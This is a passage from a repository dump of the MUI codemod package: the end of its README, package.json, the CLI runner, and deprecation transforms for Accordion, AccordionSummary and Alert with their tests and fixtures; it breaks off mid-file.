--importPath='mui/styles/colors' --targetPath='mui/colors'\n```\n\n#### `svg-icon-imports`\n\nUpdates the `svg-icons` import paths from `material-ui/svg-icons/<category>/<icon-name>` to `@material-ui/icons/<IconName>`, to use the new `@material-ui/icons` package.\nThe diff should look like this:\n\n```diff\n-import AccessAlarmIcon from 'material-ui/svg-icons/device/AccessAlarm';\n-import ThreeDRotation from 'material-ui/svg-icons/action/ThreeDRotation';\n+import AccessAlarmIcon from '@material-ui/icons/AccessAlarm';\n+import ThreeDRotation from '@material-ui/icons/ThreeDRotation';\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v1.0.0/svg-icon-imports <path>\n```\n\n#### `menu-item-primary-text`\n\nUpdates `MenuItem` with `primaryText` property making its value tag's child.\nThe diff should look like this:\n\n```diff\n-<MenuItem primaryText=\"Profile\" />\n-<MenuItem primaryText={\"Profile\" + \"!\"} />\n+<MenuItem>Profile</MenuItem>\n+<MenuItem>{\"Profile\" + \"!\"}</MenuItem>\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v1.0.0/menu-item-primary-text <path>\n```\n\n### v0.15.0\n\n#### `import-path`\n\nUpdates the `import-paths` for the new location of the components.\nMaterial UI v0.15.0 is reorganizing the folder distribution of the project.\nThe diff should look like this:\n\n```diff\n // From the source\n-import FlatButton from 'material-ui/src/flat-button';\n+import FlatButton from 'material-ui/src/FlatButton';\n\n // From npm\n-import RaisedButton from 'material-ui/lib/raised-button';\n+import RaisedButton from 'material-ui/RaisedButton';\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v0.15.0/import-path <path>\n```\n"
  },
  {
    "path": "packages/mui-codemod/package.json",
    "content": "{\n  \"name\": \"@mui/codemod\",\n  \"version\": \"9.0.0-beta.0\",\n  \"author\": \"MUI Team\",\n  \"description\": \"Codemod scripts for Material UI.\",\n  \"bin\": \"./src/codemod.js\",\n  \"keywords\": [\n    \"react\",\n    \"react-component\",\n    \"mui\",\n    \"codemod\",\n    \"jscodeshift\"\n  ],\n  \"scripts\": {\n    \"test\": \"pnpm --workspace-root test:unit --project \\\"*:@mui/codemod\\\"\",\n    \"build\": \"code-infra build --flat --bundle cjs --buildTypes false\",\n    \"release\": \"pnpm build && pnpm publish\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/mui-codemod\"\n  },\n  \"license\": \"MIT\",\n  \"homepage\": \"https://github.com/mui/material-ui/tree/master/packages/mui-codemod\",\n  \"funding\": {\n    \"type\": \"opencollective\",\n    \"url\": \"https://opencollective.com/mui-org\"\n  },\n  \"dependencies\": {\n    \"@babel/core\": \"^7.29.0\",\n    \"@babel/runtime\": \"^7.29.2\",\n    \"@babel/traverse\": \"^7.29.0\",\n    \"@mui/material-v5\": \"npm:@mui/material@5.18.0\",\n    \"jscodeshift\": \"^17.1.2\",\n    \"jscodeshift-add-imports\": \"^1.0.11\",\n    \"postcss\": \"^8.5.8\",\n    \"postcss-cli\": \"^11.0.1\",\n    \"yargs\": \"^17.7.2\"\n  },\n  \"devDependencies\": {\n    \"@material-ui/core\": \"^4.12.4\",\n    \"@types/chai\": \"5.2.3\",\n    \"@types/jscodeshift\": \"0.12.0\",\n    \"chai\": \"6.2.2\"\n  },\n  \"sideEffects\": false,\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"directory\": \"build\"\n  },\n  \"engines\": {\n    \"node\": \">=14.0.0\"\n  }\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/codemod.js",
    "content": "#!/usr/bin/env node\n\nconst childProcess = require('child_process');\nconst { promises: fs } = require('fs');\nconst path = require('path');\nconst yargs = require('yargs');\nconst jscodeshiftPackage = require('jscodeshift/package.json');\nconst postcssCliPackage = require('postcss-cli/package.json');\n\nconst jscodeshiftDirectory = path.dirname(require.resolve('jscodeshift'));\nconst jscodeshiftExecutable = path.join(jscodeshiftDirectory, jscodeshiftPackage.bin.jscodeshift);\n\nconst postcssCliDirectory = path.dirname(require.resolve('postcss-cli'));\nconst postcssExecutable = path.join(postcssCliDirectory, postcssCliPackage.bin.postcss);\n\nasync function runJscodeshiftTransform(transform, files, flags, codemodFlags) {\n  const paths = [\n    path.resolve(__dirname, './src', `${transform}/index.js`),\n    path.resolve(__dirname, './src', `${transform}.js`),\n    path.resolve(__dirname, './', `${transform}/index.js`),\n    path.resolve(__dirname, './', `${transform}.js`),\n  ];\n\n  let transformerPath;\n  let error;\n  for (const item of paths) {\n    try {\n      // eslint-disable-next-line no-await-in-loop\n      await fs.stat(item);\n      error = undefined;\n      transformerPath = item;\n      break;\n    } catch (srcPathError) {\n      error = srcPathError;\n      continue;\n    }\n  }\n\n  if (error) {\n    if (error?.code === 'ENOENT') {\n      throw new Error(\n        `Transform '${transform}' not found. Check out ${path.resolve(\n          __dirname,\n          './README.md for a list of available codemods.',\n        )}`,\n      );\n    }\n    throw error;\n  }\n\n  const args = [\n    // can't directly spawn `jscodeshiftExecutable` due to https://github.com/facebook/jscodeshift/issues/424\n    jscodeshiftExecutable,\n    '--transform',\n    transformerPath,\n    ...codemodFlags,\n    '--extensions',\n    'js,ts,jsx,tsx,json',\n    '--parser',\n    flags.parser || 'tsx',\n    '--ignore-pattern',\n    '**/node_modules/**',\n    '--ignore-pattern',\n    '**/*.css',\n  ];\n\n  if (flags.dry) {\n    args.push('--dry');\n  }\n  if (flags.print) {\n    args.push('--print');\n  }\n  if (flags.jscodeshift) {\n    args.push(flags.jscodeshift);\n  }\n  if (flags.packageName) {\n    args.push(`--packageName=${flags.packageName}`);\n  }\n\n  args.push(...files);\n\n  // eslint-disable-next-line no-console -- debug information\n  console.log(`Executing command: jscodeshift ${args.join(' ')}`);\n  const jscodeshiftProcess = childProcess.spawnSync('node', args, { stdio: 'inherit' });\n\n  if (jscodeshiftProcess.error) {\n    throw jscodeshiftProcess.error;\n  }\n}\n\nconst parseCssFilePaths = async (files) => {\n  const cssFiles = await Promise.all(\n    files.map(async (filePath) => {\n      const stat = await fs.stat(filePath);\n      if (stat.isDirectory()) {\n        return `${filePath}/**/*.css`;\n      }\n      if (filePath.endsWith('.css')) {\n        return filePath;\n      }\n\n      return null;\n    }),\n  );\n\n  return cssFiles.filter(Boolean);\n};\n\nasync function runPostcssTransform(transform, files) {\n  // local postcss plugins are loaded through config files https://github.com/postcss/postcss-load-config/issues/17#issuecomment-253125559\n  const paths = [\n    path.resolve(__dirname, './src', `${transform}/postcss.config.js`),\n    path.resolve(__dirname, './', `${transform}/postcss.config.js`),\n  ];\n\n  let configPath;\n  let error;\n  for (const item of paths) {\n    try {\n      // eslint-disable-next-line no-await-in-loop\n      await fs.stat(item);\n      error = undefined;\n      configPath = item;\n      break;\n    } catch (srcPathError) {\n      error = srcPathError;\n      continue;\n    }\n  }\n\n  if (error) {\n    // don't throw if the file is not found, postcss transform is optional\n    if (error?.code !== 'ENOENT') {\n      throw error;\n    }\n  } else {\n    const cssPaths = await parseCssFilePaths(files);\n\n    if (cssPaths.length > 0) {\n      const args = [\n        postcssExecutable,\n        ...cssPaths,\n        '--config',\n        configPath,\n        '--replace',\n        '--verbose',\n      ];\n\n      // eslint-disable-next-line no-console -- debug information\n      console.log(`Executing command: postcss ${args.join(' ')}`);\n      const postcssProcess = childProcess.spawnSync('node', args, { stdio: 'inherit' });\n\n      if (postcssProcess.error) {\n        throw postcssProcess.error;\n      }\n    }\n  }\n}\n\nfunction run(argv) {\n  const { codemod, paths, ...flags } = argv;\n  const files = paths.map((filePath) => path.resolve(filePath));\n\n  runJscodeshiftTransform(codemod, files, flags, argv._);\n  runPostcssTransform(codemod, files);\n}\n\nyargs\n  .command({\n    command: '$0 <codemod> <paths...>',\n    describe: 'Applies a `@mui/codemod` to the specified paths',\n    builder: (command) => {\n      return command\n        .positional('codemod', {\n          description: 'The name of the codemod',\n          type: 'string',\n        })\n        .positional('paths', {\n          array: true,\n          description: 'Paths forwarded to `jscodeshift`',\n          type: 'string',\n        })\n        .option('dry', {\n          description: 'dry run (no changes are made to files)',\n          default: false,\n          type: 'boolean',\n        })\n        .option('parser', {\n          description: 'which parser for jscodeshift to use',\n          default: 'tsx',\n          type: 'string',\n        })\n        .option('print', {\n          description: 'print transformed files to stdout, useful for development',\n          default: false,\n          type: 'boolean',\n        })\n        .option('jscodeshift', {\n          description: '(Advanced) Pass options directly to jscodeshift',\n          default: false,\n          type: 'string',\n        })\n        .option('packageName', {\n          description: 'The package name to look for in the import statements',\n          default: '@mui/material',\n          type: 'string',\n        });\n    },\n    handler: run,\n  })\n  .scriptName('npx @mui/codemod')\n  .example('$0 v4.0.0/theme-spacing-api src')\n  .example('$0 v5.0.0/component-rename-prop src -- --component=Grid --from=prop --to=newProp')\n  .help()\n  .parse();\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-props/accordion-props.js",
    "content": "import movePropIntoSlots from '../utils/movePropIntoSlots';\nimport movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Accordion',\n    propName: 'TransitionComponent',\n    slotName: 'transition',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Accordion',\n    propName: 'TransitionProps',\n    slotName: 'transition',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-props/accordion-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './accordion-props';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('accordion-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[theme] accordion-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[custom package] accordion-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-props/index.js",
    "content": "export { default } from './accordion-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-props/test-cases/actual.js",
    "content": "import Accordion from '@mui/material/Accordion';\nimport { Accordion as MyAccordion } from '@mui/material';\n\n<Accordion TransitionComponent={CustomTransition} TransitionProps={{ unmountOnExit: true }} />;\n<MyAccordion TransitionComponent={CustomTransition} TransitionProps={transitionVars} />;\n<Accordion\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ unmountOnExit: true }}\n  slots={{\n    root: 'div',\n  }}\n  slotProps={{\n    root: { className: 'foo' },\n  }}\n/>;\n<MyAccordion\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ unmountOnExit: true }}\n  slots={{\n    ...outerSlots,\n  }}\n  slotProps={{\n    ...outerSlotProps,\n  }}\n/>;\n<Accordion TransitionComponent={ComponentTransition} slots={{ transition: SlotTransition }} />;\n<Accordion TransitionProps={{ unmountOnExit: true }} slotProps={{ transition: { id: 'test' } }} />;\n// should skip non MUI components\n<NonMuiAccordion\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ unmountOnExit: true }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-props/test-cases/expected.js",
    "content": "import Accordion from '@mui/material/Accordion';\nimport { Accordion as MyAccordion } from '@mui/material';\n\n<Accordion slots={{\n  transition: CustomTransition\n}} slotProps={{\n  transition: { unmountOnExit: true }\n}} />;\n<MyAccordion slots={{\n  transition: CustomTransition\n}} slotProps={{\n  transition: transitionVars\n}} />;\n<Accordion\n  slots={{\n    root: 'div',\n    transition: CustomTransition\n  }}\n  slotProps={{\n    root: { className: 'foo' },\n    transition: { unmountOnExit: true }\n  }} />;\n<MyAccordion\n  slots={{\n    ...outerSlots,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    ...outerSlotProps,\n    transition: { unmountOnExit: true }\n  }} />;\n<Accordion slots={{ transition: SlotTransition }} />;\n<Accordion\n  slotProps={{ transition: {\n    ...{ unmountOnExit: true },\n    ...{ id: 'test' }\n  } }} />;\n// should skip non MUI components\n<NonMuiAccordion\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ unmountOnExit: true }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-props/test-cases/package.actual.js",
    "content": "import Accordion from '@org/ui/material/Accordion';\nimport { Accordion as MyAccordion } from '@org/ui/material';\n\n<Accordion TransitionProps={{ unmountOnExit: true }} slots={{\n  transition: CustomTransition\n}} />;\n<MyAccordion TransitionProps={transitionVars} slots={{\n  transition: CustomTransition\n}} />;\n<Accordion\n  TransitionProps={{ unmountOnExit: true }}\n  slots={{\n    root: 'div',\n    transition: CustomTransition\n  }}\n  slotProps={{\n    root: { className: 'foo' },\n  }} />;\n<MyAccordion\n  TransitionProps={{ unmountOnExit: true }}\n  slots={{\n    ...outerSlots,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    ...outerSlotProps,\n  }} />;\n<Accordion slots={{ transition: SlotTransition }} />;\n<Accordion TransitionProps={{ unmountOnExit: true }} slotProps={{ transition: { id: 'test' } }} />;\n// should skip non MUI components\n<NonMuiAccordion\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ unmountOnExit: true }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-props/test-cases/package.expected.js",
    "content": "import Accordion from '@org/ui/material/Accordion';\nimport { Accordion as MyAccordion } from '@org/ui/material';\n\n<Accordion slots={{\n  transition: CustomTransition\n}} slotProps={{\n  transition: { unmountOnExit: true }\n}} />;\n<MyAccordion slots={{\n  transition: CustomTransition\n}} slotProps={{\n  transition: transitionVars\n}} />;\n<Accordion\n  slots={{\n    root: 'div',\n    transition: CustomTransition\n  }}\n  slotProps={{\n    root: { className: 'foo' },\n    transition: { unmountOnExit: true }\n  }} />;\n<MyAccordion\n  slots={{\n    ...outerSlots,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    ...outerSlotProps,\n    transition: { unmountOnExit: true }\n  }} />;\n<Accordion slots={{ transition: SlotTransition }} />;\n<Accordion\n  slotProps={{ transition: {\n    ...{ unmountOnExit: true },\n    ...{ id: 'test' }\n  } }} />;\n// should skip non MUI components\n<NonMuiAccordion\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ unmountOnExit: true }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiAccordion: {\n    defaultProps: {\n      TransitionComponent: CustomTransition,\n      TransitionProps: { unmountOnExit: true },\n    },\n  },\n});\n\nfn({\n  MuiAccordion: {\n    defaultProps: {\n      TransitionComponent: ComponentTransition,\n      slots: { transition: SlotTransition },\n    },\n  },\n});\n\nfn({\n  MuiAccordion: {\n    defaultProps: {\n      slotProps: { transition: { id: 'test' } },\n      TransitionProps: { unmountOnExit: true },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiAccordion: {\n    defaultProps: {\n      slots: {\n        transition: CustomTransition\n      },\n\n      slotProps: {\n        transition: { unmountOnExit: true }\n      }\n    },\n  },\n});\n\nfn({\n  MuiAccordion: {\n    defaultProps: {\n      slots: { transition: SlotTransition }\n    },\n  },\n});\n\nfn({\n  MuiAccordion: {\n    defaultProps: {\n      slotProps: { transition: {\n        ...{ unmountOnExit: true },\n        ...{ id: 'test' }\n      } }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-summary-classes/accordion-summary-classes.js",
    "content": "import { deprecatedClass, replacementSelector } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  // contentGutters is a special case as it's applied to the content child\n  // but gutters is applied to the parent element, so the gutter class needs to go on the parent\n\n  root\n    .find(j.ImportDeclaration)\n    .filter((path) =>\n      path.node.source.value.match(\n        new RegExp(`^${options.packageName || '@mui/material'}(/AccordionSummary)?$`),\n      ),\n    )\n    .forEach((path) => {\n      path.node.specifiers.forEach((specifier) => {\n        if (\n          specifier.type === 'ImportSpecifier' &&\n          specifier.imported.name === 'accordionSummaryClasses'\n        ) {\n          root\n            .find(j.MemberExpression, {\n              object: { name: specifier.local.name },\n              property: { name: 'contentGutters' },\n            })\n            .forEach((memberExpression) => {\n              const parent = memberExpression.parentPath.parentPath.value;\n              if (parent.type === j.TemplateLiteral.name) {\n                const memberExpressionIndex = parent.expressions.findIndex(\n                  (expression) => expression === memberExpression.value,\n                );\n                const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                if (precedingTemplateElement.value.raw.endsWith(' .')) {\n                  parent.expressions.splice(\n                    memberExpressionIndex,\n                    1,\n                    j.memberExpression(memberExpression.value.object, j.identifier('gutters')),\n                    j.memberExpression(memberExpression.value.object, j.identifier('content')),\n                  );\n                  parent.quasis.splice(\n                    memberExpressionIndex,\n                    1,\n                    j.templateElement(\n                      {\n                        raw: precedingTemplateElement.value.raw.replace(' ', ''),\n                        cooked: precedingTemplateElement.value.cooked.replace(' ', ''),\n                      },\n                      false,\n                    ),\n                    j.templateElement({ raw: ' .', cooked: ' .' }, false),\n                  );\n                }\n              }\n            });\n        }\n      });\n    });\n\n  const selectorRegex = new RegExp(`^& ${deprecatedClass}`);\n  root\n    .find(\n      j.Literal,\n      (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n    )\n    .forEach((path) => {\n      path.replace(j.literal(path.value.value.replace(selectorRegex, `&${replacementSelector}`)));\n    });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-summary-classes/accordion-summary-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './accordion-summary-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('accordion-summary-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'single', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'single', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-summary-classes/index.js",
    "content": "export { default } from './accordion-summary-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-summary-classes/postcss-plugin.js",
    "content": "const deprecatedClass = '.MuiAccordionSummary-contentGutters';\nconst replacementSelector = '.MuiAccordionSummary-gutters .MuiAccordionSummary-content';\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace ${deprecatedClass} with ${replacementSelector}`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      // contentGutters is a special case as it's applied to the content child\n      // but gutters is applied to the parent element, so the gutter class needs to go on the parent\n\n      const selectorRegex = new RegExp(` ${deprecatedClass}`);\n      if (selector.match(selectorRegex)) {\n        rule.selector = selector.replace(selectorRegex, replacementSelector);\n      }\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  deprecatedClass,\n  replacementSelector,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-summary-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-summary-classes/test-cases/actual.css",
    "content": ".MuiAccordionSummary-root .MuiAccordionSummary-contentGutters {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-summary-classes/test-cases/actual.js",
    "content": "import { accordionSummaryClasses } from '@mui/material/AccordionSummary';\n\nfn({\n  MuiAccordionSummary: {\n    styleOverrides: {\n      root: {\n        '& .MuiAccordionSummary-contentGutters': {\n          color: 'red',\n        },\n      },\n    },\n  },\n});\n\nfn({\n  MuiAccordionSummary: {\n    styleOverrides: {\n      root: {\n        [`& .${accordionSummaryClasses.contentGutters}`]: {\n          color: 'red',\n        },\n      },\n    },\n  },\n});\n\nstyled(Component)(() => {\n  return {\n    '& .MuiAccordionSummary-contentGutters': {\n      color: 'red',\n    },\n  };\n});\n\nstyled(Component)(() => {\n  return {\n    [`& .${accordionSummaryClasses.contentGutters}`]: {\n      color: 'red',\n    },\n  };\n});\n\n<AccordionSummary\n  sx={{\n    '& .MuiAccordionSummary-contentGutters': {\n      color: 'red',\n    },\n  }}\n/>;\n\n<AccordionSummary\n  sx={{\n    [`& .${accordionSummaryClasses.contentGutters}`]: {\n      color: 'red',\n    },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-summary-classes/test-cases/expected.css",
    "content": ".MuiAccordionSummary-root.MuiAccordionSummary-gutters .MuiAccordionSummary-content {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-summary-classes/test-cases/expected.js",
    "content": "import { accordionSummaryClasses } from '@mui/material/AccordionSummary';\n\nfn({\n  MuiAccordionSummary: {\n    styleOverrides: {\n      root: {\n        '&.MuiAccordionSummary-gutters .MuiAccordionSummary-content': {\n          color: 'red',\n        },\n      },\n    },\n  },\n});\n\nfn({\n  MuiAccordionSummary: {\n    styleOverrides: {\n      root: {\n        [`&.${accordionSummaryClasses.gutters} .${accordionSummaryClasses.content}`]: {\n          color: 'red',\n        },\n      },\n    },\n  },\n});\n\nstyled(Component)(() => {\n  return {\n    '&.MuiAccordionSummary-gutters .MuiAccordionSummary-content': {\n      color: 'red',\n    },\n  };\n});\n\nstyled(Component)(() => {\n  return {\n    [`&.${accordionSummaryClasses.gutters} .${accordionSummaryClasses.content}`]: {\n      color: 'red',\n    },\n  };\n});\n\n<AccordionSummary\n  sx={{\n    '&.MuiAccordionSummary-gutters .MuiAccordionSummary-content': {\n      color: 'red',\n    },\n  }}\n/>;\n\n<AccordionSummary\n  sx={{\n    [`&.${accordionSummaryClasses.gutters} .${accordionSummaryClasses.content}`]: {\n      color: 'red',\n    },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-summary-classes/test-cases/package.actual.js",
    "content": "import { accordionSummaryClasses } from '@org/ui/material/AccordionSummary';\n\nfn({\n  MuiAccordionSummary: {\n    styleOverrides: {\n      root: {\n        '& .MuiAccordionSummary-contentGutters': {\n          color: 'red',\n        },\n      },\n    },\n  },\n});\n\nfn({\n  MuiAccordionSummary: {\n    styleOverrides: {\n      root: {\n        [`& .${accordionSummaryClasses.contentGutters}`]: {\n          color: 'red',\n        },\n      },\n    },\n  },\n});\n\nstyled(Component)(() => {\n  return {\n    '& .MuiAccordionSummary-contentGutters': {\n      color: 'red',\n    },\n  };\n});\n\nstyled(Component)(() => {\n  return {\n    [`& .${accordionSummaryClasses.contentGutters}`]: {\n      color: 'red',\n    },\n  };\n});\n\n<AccordionSummary\n  sx={{\n    '& .MuiAccordionSummary-contentGutters': {\n      color: 'red',\n    },\n  }}\n/>;\n\n<AccordionSummary\n  sx={{\n    [`& .${accordionSummaryClasses.contentGutters}`]: {\n      color: 'red',\n    },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/accordion-summary-classes/test-cases/package.expected.js",
    "content": "import { accordionSummaryClasses } from '@org/ui/material/AccordionSummary';\n\nfn({\n  MuiAccordionSummary: {\n    styleOverrides: {\n      root: {\n        '&.MuiAccordionSummary-gutters .MuiAccordionSummary-content': {\n          color: 'red',\n        },\n      },\n    },\n  },\n});\n\nfn({\n  MuiAccordionSummary: {\n    styleOverrides: {\n      root: {\n        [`&.${accordionSummaryClasses.gutters} .${accordionSummaryClasses.content}`]: {\n          color: 'red',\n        },\n      },\n    },\n  },\n});\n\nstyled(Component)(() => {\n  return {\n    '&.MuiAccordionSummary-gutters .MuiAccordionSummary-content': {\n      color: 'red',\n    },\n  };\n});\n\nstyled(Component)(() => {\n  return {\n    [`&.${accordionSummaryClasses.gutters} .${accordionSummaryClasses.content}`]: {\n      color: 'red',\n    },\n  };\n});\n\n<AccordionSummary\n  sx={{\n    '&.MuiAccordionSummary-gutters .MuiAccordionSummary-content': {\n      color: 'red',\n    },\n  }}\n/>;\n\n<AccordionSummary\n  sx={{\n    [`&.${accordionSummaryClasses.gutters} .${accordionSummaryClasses.content}`]: {\n      color: 'red',\n    },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-classes/alert-classes.js",
    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/Alert)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (specifier.type === 'ImportSpecifier' && specifier.imported.name === 'alertClasses') {\n            const deprecatedAtomicClass = deprecatedClass.replace('.MuiAlert-', '');\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = 